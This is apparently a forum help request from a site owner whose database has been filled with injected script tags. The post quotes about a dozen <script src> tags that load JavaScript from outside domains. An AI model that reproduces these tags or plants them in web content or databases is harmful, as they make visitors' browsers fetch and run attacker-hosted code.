hii is any budy help me to remove

<script src=http://www.advabnr.com/b.js></script><script src=http://www.catdbw.mobi/ngg.js></script><script src=http://www.usaadw.com/ngg.js></script><script src=http://www.usaadw.com/ngg.js></script><script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.destbnp.com/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.kj5s.ru/ngg.js></script><script src=http://www.ujnc.ru/js.js></script><script src=http://www.mnbenio.ru/script.js></script>
this type of script in my database it spread in my database with each an every data so please help me what to do
?